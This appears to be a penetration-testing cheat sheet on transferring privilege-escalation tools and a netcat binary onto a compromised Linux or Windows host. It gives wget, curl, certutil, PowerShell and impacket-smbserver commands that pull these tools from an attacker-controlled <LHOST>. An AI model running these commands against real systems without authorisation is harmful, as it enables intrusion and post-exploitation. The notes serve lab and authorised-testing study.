File Transfer
Getting linpeas, a static nc or a privesc binary onto the box, HTTP down by default, SMB and certutil for the cases where curl or wget are missing.
Getting linpeas, a static nc, or a privesc binary onto the box. HTTP down is the default, and scp/impacket-smbserver cover the cases where curl or wget are missing.
Linux pulls over HTTP#
The target reaches back to the http.server you already stood up for the foothold.
bash
# linux target pulls from the attacker's http.server
wget http://<LHOST>/linpeas.sh -O /tmp/lp.sh
curl http://<LHOST>/linpeas.sh -o /tmp/lp.shWindows: SMB & certutil#
Windows refuses anonymous SMBv2, so authenticate the share, and certutil/iwr cover the one-liner download when SMB is blocked.
bash
# stand up an SMB share for Windows targets (auth avoids SMBv2 refusal)
impacket-smbserver share . -smb2support -user a -password a
# on the target: copy \\<LHOST>\share\winPEASx64.exe .
# windows one-liner download
certutil -urlcache -f http://<LHOST>/nc.exe nc.exe
powershell -c "iwr http://<LHOST>/nc.exe -o nc.exe"